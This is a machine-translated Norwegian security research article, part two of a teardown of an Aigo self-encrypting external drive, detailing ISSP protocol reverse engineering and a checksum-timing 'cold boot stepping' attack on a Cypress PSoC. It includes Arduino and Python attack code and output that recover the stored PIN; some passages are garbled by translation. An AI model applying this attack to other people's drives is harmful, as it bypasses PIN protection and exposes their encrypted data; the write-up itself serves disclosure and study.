Reversering og hacking av Aigo selvkrypterende ekstern HDD-stasjon. Del 2: Ta en dump fra Cypress PSoC

Dette er den andre og siste delen av artikkelen om hacking av eksterne selvkrypterende stasjoner. La meg minne deg på at en kollega nylig ga meg en Patriot (Aigo) SK8671-harddisk, og jeg bestemte meg for å reversere den, og nå deler jeg hva som kom ut av den. Før du leser videre, sørg for å lese første del artikkelen.

4. Vi begynner å ta en dump fra den interne PSoC-flashstasjonen
5. ISSP-protokoll
– 5.1. Hva er ISSP
– 5.2. Avmystifiserende vektorer
– 5.3. Kommunikasjon med PSoC
– 5.4. Identifikasjon av on-chip registre
– 5.5. Sikkerhetsbiter
6. Første (mislykkede) angrep: ROMX
7. Andre angrep: Kaldstøvelsporing
– 7.1. Gjennomføring
– 7.2. Leser resultatet
– 7.3. Flash binær rekonstruksjon
– 7.4. Finner PIN-kodens lagringsadresse
– 7.5. Tar en dump av blokk nr. 126
– 7.6. Gjenoppretting av PIN-kode
8. Hva er det neste?
9. Konklusjon

Reversering og hacking av Aigo selvkrypterende ekstern HDD-stasjon. Del 2: Ta en dump fra Cypress PSoC


4. Vi begynner å ta en dump fra den interne PSoC-flashstasjonen

Så alt tyder på (som vi slo fast i [første del]()) at PIN-koden er lagret i flash-dybdene til PSoC. Derfor må vi lese disse blitzdybdene. Foran nødvendig arbeid:

  • ta kontroll over "kommunikasjon" med mikrokontrolleren;
  • finne en måte å sjekke om denne "kommunikasjonen" er beskyttet mot lesing fra utsiden;
  • finne en måte å omgå beskyttelsen.

Det er to steder det er fornuftig å se etter en gyldig PIN-kode:

  • internt flash-minne;
  • SRAM, hvor pinkoden kan lagres for å sammenligne den med pinkoden som er angitt av brukeren.

Når jeg ser fremover, vil jeg legge merke til at jeg fortsatt klarte å ta en dump av den interne PSoC-flashstasjonen - omgå sikkerhetssystemet ved hjelp av et maskinvareangrep kalt "kald oppstartssporing" - etter å ha reversert de udokumenterte egenskapene til ISSP-protokollen. Dette tillot meg å dumpe den faktiske PIN-koden direkte.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Endelig programkode:

5. ISSP-protokoll

5.1. Hva er ISSP

"Kommunikasjon" med en mikrokontroller kan bety forskjellige ting: fra "leverandør til leverandør" til interaksjon med en seriell protokoll (for eksempel ICSP for Microchips PIC).

Cypress har sin egen proprietære protokoll for dette, kalt ISSP (in-system serial programming protocol), som er delvis beskrevet i teknisk spesifikasjon. Patent US7185162 gir også litt informasjon. Det finnes også en OpenSource-ekvivalent kalt HSSP (vi bruker den litt senere). ISSP fungerer som følger:

  • start PSoC på nytt;
  • skriv ut det magiske tallet til seriedatapinnen til denne PSoC; for å gå inn i ekstern programmeringsmodus;
  • send kommandoer, som er lange bitstrenger kalt "vektorer".

ISSP-dokumentasjonen definerer disse vektorene for bare en liten håndfull kommandoer:

  • Initialiser-1
  • Initialiser-2
  • Initialiser-3 (3V og 5V alternativer)
  • ID-OPPSETT
  • LES-ID-ORD
  • SET-BLOCK-NUM: 10011111010dddddddd111, der dddddddd=blokk #
  • bulksletting
  • PROGRAM-BLOKK
  • VERIFISERE OPPSETT
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, der DDDDDDDD = data ut, aaaaaa = adresse (6 bits)
  • WRITE-BYTE: 10010aaaaaaddddddd111, der dddddddd = data inn, aaaaaa = adresse (6 biter)
  • SIKKER
  • KONTROLLSUM-OPPSETT
  • LES-SJEKKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, der DDDDDDDDDDDDDDDDDD = data ut: enhetssjekksum
  • SLETT BLOKK

For eksempel vektoren for Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Alle vektorer har samme lengde: 22 biter. HSSP-dokumentasjonen har litt tilleggsinformasjon om ISSP: "En ISSP-vektor er ikke noe mer enn en bitsekvens som representerer et sett med instruksjoner."

5.2. Avmystifiserende vektorer

La oss finne ut hva som skjer her. Til å begynne med antok jeg at de samme vektorene var råversjoner av M8C-instruksjoner, men etter å ha sjekket denne hypotesen oppdaget jeg at op-kodene til operasjonene ikke stemte.

Så googlet jeg vektoren ovenfor og kom over dette en studie der forfatteren, selv om han ikke går i detalj, gir noen nyttige tips: «Hver instruksjon begynner med tre biter som tilsvarer en av fire mnemonics (les fra RAM, skriv til RAM, les register, skriv register). Deretter er det 8 adressebiter, etterfulgt av 8 databiter (lese eller skrive) og til slutt tre stoppbiter.»

Da var jeg i stand til å skaffe meg veldig nyttig informasjon fra tilsyns-ROM-delen (SROM). teknisk manual. SROM er en hardkodet ROM i PSoC som gir verktøyfunksjoner (på lignende måte som Syscall) for programkode som kjører i brukerområdet:

  • 00h:SWBootReset
  • 01h: Leseblokk
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: TabellLes
  • 07h: Sjekksum
  • 08h: Kalibrer0
  • 09h: Kalibrer1

Ved å sammenligne vektornavn med SROM-funksjoner, kan vi kartlegge de ulike operasjonene som støttes av denne protokollen til de forventede SROM-parametrene. Takket være dette kan vi dekode de tre første bitene av ISSP-vektorer:

  • 100 => "wrem"
  • 101 => "rdmem"
  • 110 => "wrreg"
  • 111 => «rdreg»

En fullstendig forståelse av prosesser på brikken kan imidlertid bare oppnås gjennom direkte kommunikasjon med PSoC.

5.3. Kommunikasjon med PSoC

Siden Dirk Petrautsky har allerede portert Cypress sin HSSP-kode på Arduino, jeg brukte Arduino Uno for å koble til ISSP-kontakten på tastaturet.

Vær oppmerksom på at i løpet av min forskning endret jeg Dirks kode ganske mye. Du kan finne min modifikasjon på GitHub: her og det tilsvarende Python-skriptet for å kommunisere med Arduino, i mitt depot cypress_psoc_tools.

Så ved å bruke Arduino brukte jeg først bare de "offisielle" vektorene for "kommunikasjon". Jeg prøvde å lese den interne ROM-en ved å bruke VERIFY-kommandoen. Som forventet klarte jeg ikke dette. Sannsynligvis på grunn av det faktum at lesebeskyttelsesbiter er aktivert inne i flash-stasjonen.

Så laget jeg noen av mine egne enkle vektorer for skriving og lesing av minne/registre. Vær oppmerksom på at vi kan lese hele SROM selv om flash-stasjonen er beskyttet!

5.4. Identifikasjon av on-chip registre

Etter å ha sett på de "demonterte" vektorene, oppdaget jeg at enheten bruker udokumenterte registre (0xF8-0xFA) for å spesifisere M8C-opkoder som kjøres direkte, og omgår beskyttelsen. Dette tillot meg å kjøre forskjellige opkoder som "ADD", "MOV A, X", "PUSH" eller "JMP". Takket være dem (ved å se på bivirkningene de har på registre) kunne jeg fastslå hvilke av de udokumenterte registrene som faktisk var vanlige registre (A, X, SP og PC).

Som et resultat ser den "demonterte" koden generert av HSSP_disas.rb-verktøyet slik ut (jeg la til kommentarer for klarhetens skyld):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Sikkerhetsbiter

På dette stadiet kan jeg allerede kommunisere med PSoC, men jeg har fortsatt ikke pålitelig informasjon om sikkerhetsbitene til flash-stasjonen. Jeg ble veldig overrasket over det faktum at Cypress ikke gir brukeren av enheten noen midler til å sjekke om beskyttelsen er aktivert. Jeg gravde dypere inn i Google for å endelig forstå at HSSP-koden levert av Cypress ble oppdatert etter at Dirk ga ut sin modifikasjon. Og så! Denne nye vektoren har dukket opp:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ved å bruke denne vektoren (se read_security_data i psoc.py), får vi alle sikkerhetsbitene i SRAM på 0x80, hvor det er to biter per beskyttet blokk.

Resultatet er deprimerende: alt er beskyttet i "deaktiver ekstern lesing og skriving"-modus. Derfor kan vi ikke bare lese noe fra en flash-stasjon, men vi kan heller ikke skrive noe (for eksempel for å installere en ROM-dumper der). Og den eneste måten å deaktivere beskyttelsen på er å slette hele brikken. 🙁

6. Første (mislykkede) angrep: ROMX

Vi kan imidlertid prøve følgende triks: siden vi har muligheten til å utføre vilkårlige opkoder, hvorfor ikke kjøre ROMX, som brukes til å lese flash-minne? Denne tilnærmingen har en god sjanse for å lykkes. Fordi ReadBlock-funksjonen som leser data fra SROM (som brukes av vektorer) sjekker om den kalles fra ISSP. Imidlertid kan det tenkes at ROMX-opkoden ikke har en slik kontroll. Så her er Python-koden (etter å ha lagt til noen få hjelpeklasser til Arduino-koden):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Dessverre fungerer ikke denne koden. 🙁 Eller rettere sagt det fungerer, men ved utgangen får vi våre egne opkoder (0x28 0x30 0x40)! Jeg tror ikke at den tilsvarende funksjonaliteten til enheten er et element av lesebeskyttelse. Dette er mer som et teknisk triks: når du utfører eksterne opkoder, blir ROM-bussen omdirigert til en midlertidig buffer.

7. Andre angrep: Kaldstøvelsporing

Siden ROMX-trikset ikke fungerte, begynte jeg å tenke på en annen variant av dette trikset - beskrevet i publikasjonen "Skriver for mye lys på en mikrokontrollers fastvarebeskyttelse".

7.1. Gjennomføring

ISSP-dokumentasjonen gir følgende vektor for CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Dette kaller egentlig SROM-funksjonen 0x07, som presentert i dokumentasjonen (kursiv min):

Denne funksjonen kontrollsumverifisering. Den beregner en 16-bits kontrollsum av antall brukerspesifiserte blokker i én flashbank, med start fra null. BLOCKID-parameteren brukes til å sende antall blokker som skal brukes ved beregning av kontrollsummen. En verdi på "1" vil bare beregne sjekksummen for blokk null; mens "0" vil føre til at den totale sjekksummen av alle 256 blokkene i flashbanken beregnes. 16-biters sjekksum returneres via KEY1 og KEY2. KEY1-parameteren lagrer 8-biter av lav orden av sjekksummen, og KEY2-parameter lagrer 8-biter av høy orden. For enheter med flere flashbanker kalles kontrollsumfunksjonen for hver enkelt separat. Banknummeret som det vil arbeide med, settes av FLS_PR1-registeret (ved å sette biten i det som tilsvarer målflashbanken).

Merk at dette er en enkel kontrollsum: bytene legges ganske enkelt til etter hverandre; ingen fancy CRC quirks. I tillegg, vel vitende om at M8C-kjernen har et veldig lite sett med registre, antok jeg at når jeg beregner kontrollsummen, vil mellomverdier bli registrert i de samme variablene som til slutt vil gå til utgangen: KEY1 (0xF8) / KEY2 ( 0xF9).

Så i teorien ser angrepet mitt slik ut:

  1. Vi kobler til via ISSP.
  2. Vi starter sjekksumberegningen ved å bruke vektoren CHECKSUM-SETUP.
  3. Vi starter prosessoren på nytt etter en spesifisert tid T.
  4. Vi leser RAM for å få gjeldende kontrollsum C.
  5. Gjenta trinn 3 og 4, øk T litt hver gang.
  6. Vi gjenoppretter data fra en flash-stasjon ved å trekke den forrige kontrollsummen C fra den gjeldende.

Det er imidlertid et problem: Initialize-1 vektoren som vi må sende etter omstart overskriver KEY1 og KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Denne koden overskriver vår dyrebare sjekksum ved å ringe Calibrate1 (SROM-funksjon 9)... Kanskje vi bare kan sende det magiske tallet (fra begynnelsen av koden ovenfor) for å gå inn i programmeringsmodus, og deretter lese SRAM? Og ja, det fungerer! Arduino-koden som implementerer dette angrepet er ganske enkel:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Les checkum_delay.
  2. Kjør sjekksumberegning (send_checksum_v).
  3. Vent i en spesifisert tidsperiode; tatt i betraktning følgende fallgruver:
    • Jeg kastet bort mye tid før jeg fant ut hva det viser seg forsinkelse Mikrosekunder fungerer bare riktig med forsinkelser som ikke overstiger 16383 μs;
    • og så igjen drepte like mye tid til jeg oppdaget at delayMicroseconds, hvis 0 sendes til den som inngang, fungerer helt feil!
  4. Start PSoC på nytt i programmeringsmodus (vi sender bare det magiske tallet, uten å sende initialiseringsvektorer).

Endelig kode i Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

I et nøtteskall, hva denne koden gjør:

  1. Starter PSoC på nytt (og sender den et magisk tall).
  2. Sender full initialiseringsvektorer.
  3. Kaller Arduino-funksjonen Cmnd_STK_START_CSUM (0x85), hvor forsinkelsen i mikrosekunder sendes som en parameter.
  4. Leser kontrollsummen (0xF8 og 0xF9) og det udokumenterte registeret 0xF1.

Denne koden kjøres 10 ganger på 1 mikrosekund. 0xF1 er inkludert her fordi det var det eneste registeret som endret seg ved beregning av kontrollsummen. Kanskje det er en slags midlertidig variabel som brukes av den aritmetiske logiske enheten. Legg merke til det stygge hacket jeg bruker for å tilbakestille Arduino ved hjelp av picocom når Arduino slutter å vise tegn til liv (aner ikke hvorfor).

7.2. Leser resultatet

Resultatet av Python-skriptet ser slik ut (forenklet for lesbarhet):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Når det er sagt, har vi et problem: siden vi opererer med en faktisk kontrollsum, endrer ikke en nullbyte verdien som er lest. Men siden hele beregningsprosedyren (8192 byte) tar 0,1478 sekunder (med små variasjoner hver gang den kjøres), som tilsvarer omtrent 18,04 μs per byte, kan vi bruke denne tiden til å sjekke kontrollsumverdien på passende tidspunkter. For de første kjøringene leses alt ganske enkelt, siden varigheten av beregningsprosedyren alltid er nesten den samme. Slutten av denne dumpingen er imidlertid mindre nøyaktig fordi de "mindre tidsavvikene" på hvert løp blir betydelige:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Det er 10 dumps for hvert mikrosekund forsinkelse. Den totale driftstiden for å dumpe alle 8192 byte på en flash-stasjon er omtrent 48 timer.

7.3. Flash binær rekonstruksjon

Jeg har ennå ikke fullført å skrive koden som fullstendig vil rekonstruere programkoden til flash-stasjonen, med tanke på alle tidsavvik. Jeg har imidlertid allerede gjenopprettet begynnelsen av denne koden. For å være sikker på at jeg gjorde det riktig, demonterte jeg det med m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Ser ganske plausibelt ut!

7.4. Finner PIN-kodens lagringsadresse

Nå som vi kan lese sjekksummen på de tidspunktene vi trenger, kan vi enkelt sjekke hvordan og hvor den endres når vi:

  • skriv inn feil PIN-kode;
  • endre pinkoden.

Først, for å finne den omtrentlige lagringsadressen, tok jeg en kontrollsumdump i trinn på 10 ms etter en omstart. Så skrev jeg inn feil PIN-kode og gjorde det samme.

Resultatet ble ikke særlig hyggelig, siden det var mange endringer. Men til slutt klarte jeg å fastslå at sjekksummen endret seg et sted mellom 120000 140000 µs og 0 XNUMX µs forsinkelse. Men "pinkoden" som jeg viste der var helt feil - på grunn av en artefakt av delayMicroseconds-prosedyren, som gjør rare ting når XNUMX sendes til den.

Så, etter å ha brukt nesten 3 timer, husket jeg at SROM-systemkallet CheckSum mottar et argument som input som spesifiserer antall blokker for kontrollsummen! At. vi kan enkelt lokalisere lagringsadressen til PIN-koden og telleren for "feil forsøk", med en nøyaktighet på opptil en 64-byte blokk.

Mine første løp ga følgende resultat:

Reversering og hacking av Aigo selvkrypterende ekstern HDD-stasjon. Del 2: Ta en dump fra Cypress PSoC

Så endret jeg PIN-koden fra "123456" til "1234567" og fikk:

Reversering og hacking av Aigo selvkrypterende ekstern HDD-stasjon. Del 2: Ta en dump fra Cypress PSoC

Dermed ser PIN-koden og telleren for feil forsøk ut til å være lagret i blokk nr. 126.

7.5. Tar en dump av blokk nr. 126

Blokk #126 skal være plassert et sted rundt 125x64x18 = 144000μs, fra starten av sjekksumberegningen, i min fulle dump, og det ser ganske plausibelt ut. Så, etter å manuelt sile ut mange ugyldige dumps (på grunn av akkumulering av "mindre tidsavvik"), endte jeg opp med å få disse bytene (med en latens på 145527 μs):

Reversering og hacking av Aigo selvkrypterende ekstern HDD-stasjon. Del 2: Ta en dump fra Cypress PSoC

Det er helt åpenbart at PIN-koden er lagret i ukryptert form! Disse verdiene er selvfølgelig ikke skrevet i ASCII-koder, men som det viser seg, gjenspeiler de avlesningene tatt fra det kapasitive tastaturet.

Til slutt kjørte jeg noen flere tester for å finne hvor telleren for dårlige forsøk var lagret. Her er resultatet:

Reversering og hacking av Aigo selvkrypterende ekstern HDD-stasjon. Del 2: Ta en dump fra Cypress PSoC

0xFF - betyr "15 forsøk" og den reduseres for hvert mislykkede forsøk.

7.6. Gjenoppretting av PIN-kode

Her er min stygge kode som setter ovenstående sammen:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Her er resultatet av utførelsen:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hurra! Virker!

Vær oppmerksom på at latensverdiene jeg brukte sannsynligvis er relevante for en spesifikk PSoC - den jeg brukte.

8. Hva er det neste?

Så, la oss oppsummere på PSoC-siden, i sammenheng med vår Aigo-stasjon:

  • vi kan lese SRAM selv om den er lesebeskyttet;
  • Vi kan omgå anti-sveip-beskyttelsen ved å bruke et kaldoppstartsporingsangrep og direkte lese PIN-koden.

Angrepet vårt har imidlertid noen mangler på grunn av synkroniseringsproblemer. Det kan forbedres som følger:

  • skrive et verktøy for å korrekt dekode utdataene som er oppnådd som et resultat av et "kaldoppstartsporing"-angrep;
  • bruk en FPGA-gadget for å lage mer presise tidsforsinkelser (eller bruk Arduino maskinvaretidtakere);
  • prøv et annet angrep: skriv inn en bevisst feil PIN-kode, start på nytt og dump RAM, i håp om at den riktige PIN-koden blir lagret i RAM for sammenligning. Dette er imidlertid ikke så lett å gjøre på Arduino, siden Arduino-signalnivået er 5 volt, mens brettet vi undersøker fungerer med 3,3 volts signaler.

En interessant ting som kan prøves er å leke med spenningsnivået for å omgå lesebeskyttelsen. Hvis denne tilnærmingen fungerte, ville vi kunne få helt nøyaktige data fra flash-stasjonen - i stedet for å stole på å lese en sjekksum med upresise tidsforsinkelser.

Siden SROM sannsynligvis leser vaktbitene via ReadBlock-systemkallet, kan vi gjøre det samme som beskrevet på Dmitry Nedospasovs blogg - en re-implementering av Chris Gerlinskis angrep, kunngjort på konferansen "REcon Brussel 2017".

En annen morsom ting som kan gjøres er å slipe av saken fra brikken: å ta en SRAM-dump, identifisere udokumenterte systemanrop og sårbarheter.

9. Konklusjon

Så, beskyttelsen av denne stasjonen overlater mye å være ønsket, fordi den bruker en vanlig (ikke "herdet") mikrokontroller for å lagre PIN-koden... Dessuten har jeg ikke sett (ennå) på hvordan det går med data kryptering på denne enheten!

Hva kan du anbefale for Aigo? Etter å ha analysert et par modeller av krypterte HDD-stasjoner, laget jeg i 2015 presentasjon på SyScan, der han undersøkte sikkerhetsproblemene til flere eksterne HDD-stasjoner, og kom med anbefalinger om hva som kunne forbedres i dem. 🙂

Jeg brukte to helger og flere kvelder på denne forskningen. Totalt ca 40 timer. Teller helt fra begynnelsen (da jeg åpnet disken) til slutten (PIN-kodedump). De samme 40 timene inkluderer tiden jeg brukte på å skrive denne artikkelen. Det var en veldig spennende tur.

Kilde: www.habr.com

Legg til en kommentar